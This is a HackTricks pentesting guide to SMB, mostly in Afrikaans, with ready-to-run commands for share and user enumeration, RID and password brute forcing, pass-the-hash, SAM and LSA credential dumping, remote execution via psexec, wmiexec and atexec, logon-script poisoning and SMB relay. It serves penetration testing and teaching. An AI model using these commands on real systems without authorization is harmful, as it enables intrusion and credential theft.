139,445 - Pentesting SMB

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Poort 139

Die Netwerk Basiese Invoer-Uitvoer Stelsel** (NetBIOS)** is ’n sagteware-protokol ontwerp om toepassings, PCs, en Desktops binne ’n plaaslike netwerk (LAN) in staat te stel om met netwerk-hardware te kommunikeer en die oordrag van data oor die netwerk te vergemaklik. Die identifikasie en ligging van sagteware-toepassings wat op ’n NetBIOS-netwerk werk, word bepaal deur hul NetBIOS-name, wat tot 16 karakters lank kan wees en dikwels verskil van die rekenaarnaam. ’n NetBIOS-sessie tussen twee toepassings word geïnisieer wanneer een toepassing (wat as die kliënt optree) ’n opdrag gee om “roep” te doen aan ’n ander toepassing (wat as die bediener optree) deur TCP Poort 139 te gebruik.

139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn

Port 445

Teknies word Port 139 verwys na ‘NBT over IP’, terwyl Port 445 geïdentifiseer word as ‘SMB over IP’. Die akroniem SMB staan vir ‘Server Message Blocks’, wat ook in moderne terme bekend is as die Common Internet File System (CIFS). As ’n toepassingslaag-netwerkprotokol word SMB/CIFS hoofsaaklik gebruik om gedeelde toegang tot lêers, drukkers, seriële poorte moontlik te maak en verskeie vorme van kommunikasie tussen nodes op ’n netwerk te fasiliteer.

Byvoorbeeld, in die konteks van Windows word beklemtoon dat SMB direk oor TCP/IP kan werk, wat die behoefte aan NetBIOS oor TCP/IP oorbodig maak deur gebruik te maak van port 445. Omgekeerd word by ander stelsels die gebruik van port 139 waargeneem, wat aandui dat SMB saam met NetBIOS oor TCP/IP uitgevoer word.

445/tcp   open  microsoft-ds  Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)

SMB

Die Server Message Block (SMB) protokol, wat in ’n client-server model werk, is ontwerp om toegang tot lêers, gidse, en ander netwerkhulpbronne soos drukkers en routers te reguleer. Primêr gebruik binne die Windows bedryfstelselreeks, verseker SMB agterwaartse versoenbaarheid, wat toestelle met nuwer weergawes van Microsoft se bedryfstelsel in staat stel om naatloos met dié wat ouer weergawes gebruik te kommunikeer. Boonop bied die Samba-projek ’n gratis sagteware-oplossing wat die implementering van SMB op Linux en Unix-stelsels moontlik maak, en sodoende kruisplatformkommunikasie deur SMB fasiliteer.

Shares, wat willekeurige dele van die plaaslike lêerstelsel voorstel, kan deur ’n SMB-bediener verskaf word, wat die hiërargie aan ’n kliënt sigbaar maak wat deels onafhanklik is van die bediener se werklike struktuur. Die Access Control Lists (ACLs), wat access rights definieer, laat toe vir fine-grained control oor gebruikers se toestemmings, insluitend eienskappe soos execute, read, en full access. Hierdie toestemmings kan aan individuele gebruikers of groepe toegeken word, gebaseer op die shares, en is onderskeibaar van die plaaslike toestemmings wat op die bediener gestel is.

IPC$ Share

Toegang tot die IPC$ share kan verkry word deur ’n anonieme null-sessie, wat interaksie met dienste wat via named pipes blootgestel word toelaat. Die nutsprogram enum4linux is nuttig vir hierdie doel. Indien behoorlik gebruik, stel dit in staat om die verkryging van:

  • Inligting oor die bedryfstelsel
  • Besonderhede oor die ouer-domein
  • ’n samestelling van plaaslike gebruikers en groepe
  • Inligting oor beskikbare SMB shares
  • Die effektiewe stelsel-sekuriteitsbeleid

Hierdie funksionaliteit is krities vir netwerkadministrateurs en sekuriteitsprofessionals om die sekuriteitsposisie van SMB (Server Message Block)-dienste op ’n netwerk te assesseer. enum4linux bied ’n omvattende oorsig van die teikenstelsel se SMB-omgewing, wat noodsaaklik is om potensiële kwesbaarhede te identifiseer en te verseker dat die SMB-dienste behoorlik beveilig is.

enum4linux -a target_ip

Bogenoemde opdrag is ’n voorbeeld van hoe enum4linux gebruik kan word om ’n volledige enumerasie teen ’n teiken gespesifiseer deur target_ip uit te voer.

Wat is NTLM

As jy nie weet wat NTLM is nie, of as jy wil weet hoe dit werk en hoe dit misbruik kan word, sal jy hierdie bladsy oor NTLM baie interessant vind. Dit verduidelik hoe hierdie protokol werk en hoe jy dit in jou guns kan gebruik:

NTLM

Bediener-enumerasie

Scan ’n netwerk om na hosts te soek:

nbtscan -r 192.168.0.1/24

SMB bedienerweergawe

Om na moontlike exploits vir die SMB-weergawe te soek, is dit belangrik om te weet watter weergawe gebruik word. As hierdie inligting nie in ander gebruikte gereedskap verskyn nie, kan jy:

  • Gebruik die MSF auxiliary module **auxiliary/scanner/smb/smb_version**
  • Of hierdie script:
#!/bin/sh
#Author: rewardone
#Description:
# Requires root or enough permissions to use tcpdump
# Will listen for the first 7 packets of a null login
# and grab the SMB Version
#Notes:
# Will sometimes not capture or will print multiple
# lines. May need to run a second time for success.
if [ -z $1 ]; then echo "Usage: ./smbver.sh RHOST {RPORT}" && exit; else rhost=$1; fi
if [ ! -z $2 ]; then rport=$2; else rport=139; fi
tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i "samba\|s.a.m" | tr -d '.' | grep -oP 'UnixSamba.*[0-9a-z]' | tr -d '\n' & echo -n "$rhost: " &
echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null
echo "" && sleep .1

Soek exploit

msf> search type:exploit platform:windows target:2008 smb
searchsploit microsoft smb

Moontlike Kredensiale

Gebruikersnaam(e)Algemene wagwoorde
(leeg)(leeg)
guest(blank)
Administrator, admin(blank), password, administrator, admin
arcservearcserve, backup
tivoli, tmersrvdtivoli, tmersrvd, admin
backupexec, backupbackupexec, backup, arcada
test, lab, demopassword, test, lab, demo

Brute Force

SMB Omgewingsinligting

Verkry Inligting

#Dump interesting information
enum4linux -a [-u "<username>" -p "<passwd>"] <IP>
enum4linux-ng -A [-u "<username>" -p "<passwd>"] <IP>
nmap --script "safe or smb-enum-*" -p 445 <IP>

#Connect to the rpc
rpcclient -U "" -N <IP> #No creds
rpcclient //machine.htb -U domain.local/USERNAME%754d87d42adabcca32bdb34a876cbffb  --pw-nt-hash
rpcclient -U "username%passwd" <IP> #With creds
#You can use querydispinfo and enumdomusers to query user information

#Dump user information
/usr/share/doc/python3-impacket/examples/samrdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/samrdump.py -port 445 [[domain/]username[:password]@]<targetName or address>

#Map possible RPC endpoints
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 135 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@]<targetName or address>

Enumereer Gebruikers, Groepe & Aangemelde Gebruikers

Hierdie inligting behoort reeds deur enum4linux en enum4linux-ng versamel te wees.

crackmapexec smb 10.10.10.10 --users [-u <username> -p <password>]
crackmapexec smb 10.10.10.10 --groups [-u <username> -p <password>]
crackmapexec smb 10.10.10.10 --groups --loggedon-users [-u <username> -p <password>]

ldapsearch -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "(&(objectclass=user))" -h 10.10.10.10 | grep -i samaccountname: | cut -f 2 -d " "

rpcclient -U "" -N 10.10.10.10
enumdomusers
enumdomgroups

Enumereer plaaslike gebruikers

Impacket

lookupsid.py -no-pass hostname.local

Eenreël-opdrag

for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done

Metasploit - Enumerate local users

use auxiliary/scanner/smb/smb_lookupsid
set rhosts hostname.local
run

Enumerasie van LSARPC en SAMR rpcclient

rpcclient enumeration

GUI-verbinding vanaf linux

In die terminal:

xdg-open smb://cascade.htb/

In lêerblaaiervenster (nautilus, thunar, etc)

smb://friendzone.htb/general/

Enumerasie van gedeelde vouers

Lys van gedeelde vouers

Dit word altyd aanbeveel om te kyk of jy enige toegang het; as jy nie credentials het nie, probeer om null credentials/guest user te gebruik.

smbclient --no-pass -L //<IP> # Null user
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash

smbmap -H <IP> [-P <PORT>] #Null user
smbmap -u "username" -p "password" -H <IP> [-P <PORT>] #Creds
smbmap -u "username" -p "<NT>:<LM>" -H <IP> [-P <PORT>] #Pass-the-Hash
smbmap -R -u "username" -p "password" -H <IP> [-P <PORT>] #Recursive list

crackmapexec smb <IP> -u '' -p '' --shares #Null user
crackmapexec smb <IP> -u 'username' -p 'password' --shares #Guest user
crackmapexec smb <IP> -u 'username' -H '<HASH>' --shares #Guest user

Koppel/Lys ’n gedeelde gids

#Connect using smbclient
smbclient --no-pass //<IP>/<Folder>
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
#Use --no-pass -c 'recurse;ls'  to list recursively with smbclient

#List with smbmap, without folder it list everything
smbmap [-u "username" -p "password"] -R [Folder] -H <IP> [-P <PORT>] # Recursive list
smbmap [-u "username" -p "password"] -r [Folder] -H <IP> [-P <PORT>] # Non-Recursive list
smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-the-Hash

Manueel enumereer Windows shares en koppel daaraan

Dit is moontlik dat jy beperk is om enige shares van die gasheermasjien te vertoon, en wanneer jy probeer om dit te lys lyk dit asof daar geen shares is om aan te koppel nie. Dit kan dus die moeite werd wees om kortliks te probeer om manueel aan ’n share te koppel. Om die shares manueel te enumeer, wil jy dalk vir reaksies soos NT_STATUS_ACCESS_DENIED en NT_STATUS_BAD_NETWORK_NAME kyk wanneer jy ’n geldige session gebruik (bv. null session of geldige credentials). Hierdie reaksies kan aandui of die share bestaan en jy nie toegang het nie, of dat die share glad nie bestaan nie.

Common share names for windows targets are

  • C$
  • D$
  • ADMIN$
  • IPC$
  • PRINT$
  • FAX$
  • SYSVOL
  • NETLOGON

(Common share names from Network Security Assessment 3rd edition)

Jy kan probeer om daarby te koppel deur die volgende opdrag te gebruik

smbclient -U '%' -N \\\\<IP>\\<SHARE> # null session to connect to a windows share
smbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password)

of hierdie skrip (gebruik ’n null session)

#/bin/bash

ip='<TARGET-IP-HERE>'
shares=('C$' 'D$' 'ADMIN$' 'IPC$' 'PRINT$' 'FAX$' 'SYSVOL' 'NETLOGON')

for share in ${shares[*]}; do
output=$(smbclient -U '%' -N \\\\$ip\\$share -c '')

if [[ -z $output ]]; then
echo "[+] creating a null session is possible for $share" # no output if command goes through, thus assuming that a session was created
else
echo $output # echo error message (e.g. NT_STATUS_ACCESS_DENIED or NT_STATUS_BAD_NETWORK_NAME)
fi
done

voorbeelde

smbclient -U '%' -N \\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
smbclient -U '%' -N \\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session

Enumereer shares van Windows / sonder derdeparty-instrumente

PowerShell

# Retrieves the SMB shares on the locale computer.
Get-SmbShare
Get-WmiObject -Class Win32_Share
# Retrieves the SMB shares on a remote computer.
get-smbshare -CimSession "<computer name or session object>"
# Retrieves the connections established from the local SMB client to the SMB servers.
Get-SmbConnection

CMD console

# List shares on the local computer
net share
# List shares on a remote computer (including hidden ones)
net view \\<ip> /all

MMC Snap-in (grafiese)

# Shared Folders: Shared Folders > Shares
fsmgmt.msc
# Computer Management: Computer Management > System Tools > Shared Folders > Shares
compmgmt.msc

explorer.exe (grafies), voer \\<ip>\ in om die beskikbare nie-verborgde shares te sien.

Koppel ’n gedeelde gids

mount -t cifs //x.x.x.x/share /mnt/share
mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share

Laai lêers af

Lees vorige afdelings om te leer hoe om te koppel met credentials/Pass-the-Hash.

#Search a file and download
sudo smbmap -R Folder -H <IP> -A <FileName> -q # Search the file in recursive mode and download it inside /usr/share/smbmap
#Download all
smbclient //<IP>/<share>
> mask ""
> recurse
> prompt
> mget *
#Download everything to current directory

Opdragte:

  • mask: spesifiseer die mask wat gebruik word om die lêers binne die gids te filter (e.g. “” for all files)
  • recurse: skakel rekursie aan (standaard: af)
  • prompt: skakel die prompts vir lêernaam af (standaard: aan)
  • mget: kopieer alle lêers wat by die mask pas vanaf die gasheer na die kliëntmasjien

(Inligting uit die manblad van smbclient)

Soektog na gedeelde vouers in die domein

Snaffler.exe -s -d domain.local -o snaffler.log -v data
  • CrackMapExec spider.
  • -M spider_plus [--share <share_name>]
  • --pattern txt
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'

Specially interesting from shares are the files called Registry.xml as they may contain passwords for users configured with autologon via Group Policy. Or web.config files as they contains credentials.

Tip

The SYSVOL share is readable by all authenticated users in the domain. In there you may find many different batch, VBScript, and PowerShell scripts. You should check the scripts inside of it as you might find sensitive info such as passwords. Also, don’t trust automated share listings: even if a share looks read-only, the underlying NTFS ACLs may allow writes. Always test with smbclient by uploading a small file to \\<dc>\\SYSVOL\\<domain>\\scripts\\. If writable, you can poison logon scripts for RCE at user logon.

ShareHound – OpenGraph collector for SMB shares (BloodHound)

ShareHound ontdek domein SMB shares, traverseer dit, onttrek ACLs, en genereer ’n OpenGraph JSON-lêer vir BloodHound CE/Enterprise.

  • Baseline collection:
  1. LDAP: enumereer rekenaarobjekte, lees dNSHostName
  2. DNS: los elke host op
  3. SMB: lys shares op bereikbare hosts
  4. Crawl shares (BFS/DFS), enumereer lêers/mappe, en neem toestemmings op

ShareQL-driven traversal

  • ShareQL is a first-match-wins DSL to allow/deny traversal by host/share/path and set per-rule max depth. Fokus op interessante shares en beperk rekursie.

Example ShareQL rules

# Only crawl shares with name containing "backup", up to depth 2
allow host * share * path * depth 0
allow host * share *backup* path * depth 2
deny  host * share * path *

Gebruik

sharehound -ai "10.0.100.201" -au "user" -ap "Test123!" -ns "10.0.100.201" \
-rf "rules/skip_common_shares.shareql" -rf "rules/max_depth_2.shareql"
  • Verskaf AD creds via -ad/-au/-ap (of gebruik -ad met -au/-ap). Gebruik -r/-rf vir inline reëls of lêers.
  • Uitset: JSON OpenGraph; importeer in BloodHound om hosts/shares/files en effective rights te bevraagteken.
  • Wenk: beperk max depth tot 1–2 tensy jou filters baie beperkend is.

BloodHound attack-surface queries

  • Principals met write-like toegang op shares
MATCH x=(p)-[r:CanWriteDacl|CanWriteOwner|CanDsWriteProperty|CanDsWriteExtendedProperties]->(s:NetworkShareSMB)
RETURN x
  • Begunstigdes met FULL_CONTROL op shares
Cypher: begunstigdes met FULL_CONTROL op shares ```cypher MATCH (p:Principal)-[r]->(s:NetworkShareSMB) WHERE (p)-[:CanDelete]->(s) AND (p)-[:CanDsControlAccess]->(s) AND (p)-[:CanDsCreateChild]->(s) AND (p)-[:CanDsDeleteChild]->(s) AND (p)-[:CanDsDeleteTree]->(s) AND (p)-[:CanDsListContents]->(s) AND (p)-[:CanDsListObject]->(s) AND (p)-[:CanDsReadProperty]->(s) AND (p)-[:CanDsWriteExtendedProperties]->(s) AND (p)-[:CanDsWriteProperty]->(s) AND (p)-[:CanReadControl]->(s) AND (p)-[:CanWriteDacl]->(s) AND (p)-[:CanWriteOwner]->(s) RETURN p,r,s ```
  • Soek na gevoelige lêers op lêeruitbreiding (bv., VMDKs)
MATCH p=(h:NetworkShareHost)-[:HasNetworkShare]->(s:NetworkShareSMB)-[:Contains*0..]->(f:File)
WHERE toLower(f.extension) = toLower(".vmdk")
RETURN p

Lees die register

Jy mag in staat wees om die register te lees met behulp van sekere ontdekte credentials. Impacket reg.py laat jou probeer:

sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s

Post-uitbuiting

Die standaardkonfigurasie van ’n Samba bediener is gewoonlik geleë in /etc/samba/smb.conf en mag sommige gevaarlike konfigurasies hê:

InstellingBeskrywing
browseable = yesLaat dit toe om beskikbare shares in die huidige share te lys?
read only = noVoorkom dit die skep en wysiging van lêers?
writable = yesLaat gebruikers toe om lêers te skep en te wysig?
guest ok = yesLaat verbinding met die diens toe sonder om ’n wagwoord te gebruik?
enable privileges = yesHandhaaf priviliges wat aan ’n spesifieke SID toegewys is?
create mask = 0777Watter toestemmings moet aan pas geskepte lêers toegeken word?
directory mask = 0777Watter toestemmings moet aan pas geskepte gidse toegeken word?
logon script = script.shWatter skrip moet by die gebruiker se aanmelding uitgevoer word?
magic script = script.shWatter skrip moet uitgevoer word wanneer die skrip gesluit word?
magic output = script.outWaar moet die uitset van die magic script gestoor word?

Die opdrag smbstatus gee inligting oor die bediener en oor wie verbind is.

Authentisering met Kerberos

U kan authentiseer by Kerberos met die gereedskap smbclient en rpcclient:

smbclient --kerberos //ws01win10.domain.com/C$
rpcclient -k ws01win10.domain.com

In Kerberos-only omgewings (NTLM gedeaktiveer), kan NTLM-pogings teen SMB STATUS_NOT_SUPPORTED teruggee. Los algemene Kerberos-probleme op en dwing Kerberos-outentisering af:

# sync clock to avoid KRB_AP_ERR_SKEW
sudo ntpdate <dc.fqdn>

# use Kerberos with tooling (reads your TGT from ccache)
netexec smb <dc.fqdn> -k

Vir ’n volledige kliëntopstelling (krb5.conf generering, kinit, SSH GSSAPI/SPN waarskuwings) sien:

88tcp/udp - Pentesting Kerberos

Voer opdragte uit

crackmapexec

crackmapexec kan opdragte uitvoer deur enige van mmcexec, smbexec, atexec, wmiexec te misbruik, waarin wmiexec die standaard metode is. Jy kan aandui watter opsie jy verkies om te gebruik met die parameter --exec-method:

apt-get install crackmapexec

crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -X '$PSVersionTable' #Execute Powershell
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -x whoami #Excute cmd
crackmapexec smb 192.168.10.11 -u Administrator -H <NTHASH> -x whoami #Pass-the-Hash
# Using --exec-method {mmcexec,smbexec,atexec,wmiexec}

crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sam #Dump SAM
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --lsa #Dump LSASS in memmory hashes
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sessions #Get sessions (
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --loggedon-users #Get logged-on users
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --disks #Enumerate the disks
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --users #Enumerate users
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --groups # Enumerate groups
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --local-groups # Enumerate local groups
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --pass-pol #Get password policy
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --rid-brute #RID brute

crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash

psexec/smbexec

Albei opsies sal ’n nuwe diens skep (met behulp van \pipe\svcctl oor SMB) op die slagofferrekenaar en dit gebruik om iets uit te voer (psexec sal ’n uitvoerbare lêer na die ADMIN$ share oplaai en smbexec sal na cmd.exe/powershell.exe wys en die payload in die argumente plaas –file-less technique--).
Meer inligting oor psexec and smbexec.
In kali is dit geleë op /usr/share/doc/python3-impacket/examples/

#If no password is provided, it will be prompted
./psexec.py [[domain/]username[:password]@]<targetName or address>
./psexec.py -hashes <LM:NT> administrator@10.10.10.103 #Pass-the-Hash
psexec \\192.168.122.66 -u Administrator -p 123456Ww
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash

Deur die parameter-k te gebruik, kan jy teen kerberos autentiseer in plaas van NTLM

wmiexec/dcomexec

Voer heimlik ’n opdrag-shell uit sonder om die skyf aan te raak of ’n nuwe diens te laat loop deur DCOM via port 135.
In kali is dit geleë op /usr/share/doc/python3-impacket/examples/

#If no password is provided, it will be prompted
./wmiexec.py [[domain/]username[:password]@]<targetName or address> #Prompt for password
./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted

Deur die parameter-k te gebruik, kan jy teen kerberos autentiseer in plaas van NTLM

#If no password is provided, it will be prompted
./dcomexec.py [[domain/]username[:password]@]<targetName or address>
./dcomexec.py -hashes <LM:NT> administrator@10.10.10.103 #Pass-the-Hash
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted

AtExec

Voer kommando’s uit via die Task Scheduler (deur gebruik te maak van \pipe\atsvc via SMB).
In kali is dit geleë op /usr/share/doc/python3-impacket/examples/

./atexec.py [[domain/]username[:password]@]<targetName or address> "command"
./atexec.py -hashes <LM:NT> administrator@10.10.10.175 "whoami"

Impacket verwysing

https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/

ksmbd attack surface and SMB2/SMB3 protocol fuzzing (syzkaller)

Ksmbd Attack Surface And Fuzzing Syzkaller

Bruteforce gebruikersinlogbesonderhede

Dit word nie aanbeveel nie; jy kan ’n rekening blokkeer as jy die maksimum toegelate pogings oorskry.

nmap --script smb-brute -p 445 <IP>
ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name

SMB relay attack

Hierdie aanval gebruik die Responder toolkit om capture SMB authentication sessions op ’n interne netwerk te vang, en relays hulle na ’n target machine. As die authentication session is successful, sal dit jou outomaties in ’n system shell laat beland.
Meer inligting oor hierdie aanval hier.

SMB-Trap

Die Windows-biblioteek URLMon.dll probeer outomaties om by die gasheer te autentiseer wanneer ’n bladsy probeer om toegang tot sekere inhoud via SMB te kry, byvoorbeeld: img src="\\10.10.10.10\path\image.jpg"

This happens with the functions:

  • URLDownloadToFile
  • URLDownloadToCache
  • URLOpenStream
  • URLOpenBlockingStream

Which are used by some browsers and tools (like Skype)

Van: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html

SMBTrap using MitMf

Van: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html

NTLM Theft

Soortgelyk aan SMB Trapping, kan die aanplant van kwaadwillige lêers op ’n target system (via SMB, byvoorbeeld) ’n SMB authentication poging veroorsaak, wat toelaat dat die NetNTLMv2 hash met ’n hulpmiddel soos Responder afgeluister word. Die hash kan dan offline gekraak word of gebruik word in ’n SMB relay attack.

Sien: ntlm_theft

HackTricks Outomatiese Opdragte

Protocol_Name: SMB    #Protocol Abbreviation if there is one.
Port_Number:  137,138,139     #Comma separated if there is more than one.
Protocol_Description: Server Message Block         #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for SMB
Note: |
While Port 139 is known technically as ‘NBT over IP’, Port 445 is ‘SMB over IP’. SMB stands for ‘Server Message Blocks’. Server Message Block in modern language is also known as Common Internet File System. The system operates as an application-layer network protocol primarily used for offering shared access to files, printers, serial ports, and other sorts of communications between nodes on a network.

#These are the commands I run in order every time I see an open SMB port

With No Creds
nbtscan {IP}
smbmap -H {IP}
smbmap -H {IP} -u null -p null
smbmap -H {IP} -u guest
smbclient -N -L //{IP}
smbclient -N //{IP}/ --option="client min protocol"=LANMAN1
rpcclient {IP}
rpcclient -U "" {IP}
crackmapexec smb {IP}
crackmapexec smb {IP} --pass-pol -u "" -p ""
crackmapexec smb {IP} --pass-pol -u "guest" -p ""
GetADUsers.py -dc-ip {IP} "{Domain_Name}/" -all
GetNPUsers.py -dc-ip {IP} -request "{Domain_Name}/" -format hashcat
GetUserSPNs.py -dc-ip {IP} -request "{Domain_Name}/"
getArch.py -target {IP}

With Creds
smbmap -H {IP} -u {Username} -p {Password}
smbclient "\\\\{IP}\\" -U {Username} -W {Domain_Name} -l {IP}
smbclient "\\\\{IP}\\" -U {Username} -W {Domain_Name} -l {IP} --pw-nt-hash `hash`
crackmapexec smb {IP} -u {Username} -p {Password} --shares
GetADUsers.py {Domain_Name}/{Username}:{Password} -all
GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat
GetUserSPNs.py {Domain_Name}/{Username}:{Password} -request

https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smb/index.html

Entry_2:
Name: Enum4Linux
Description: General SMB Scan
Command: enum4linux -a {IP}

Entry_3:
Name: Nmap SMB Scan 1
Description: SMB Vuln Scan With Nmap
Command: nmap -p 139,445 -vv -Pn --script=smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-ms17-010.nse {IP}

Entry_4:
Name: Nmap Smb Scan 2
Description: SMB Vuln Scan With Nmap (Less Specific)
Command: nmap --script 'smb-vuln*' -Pn -p 139,445 {IP}

Entry_5:
Name: Hydra Brute Force
Description: Need User
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} {IP} smb

Entry_6:
Name: SMB/SMB2 139/445 consolesless mfs enumeration
Description: SMB/SMB2 139/445  enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 445; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 445; run; exit'

Verwysings

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks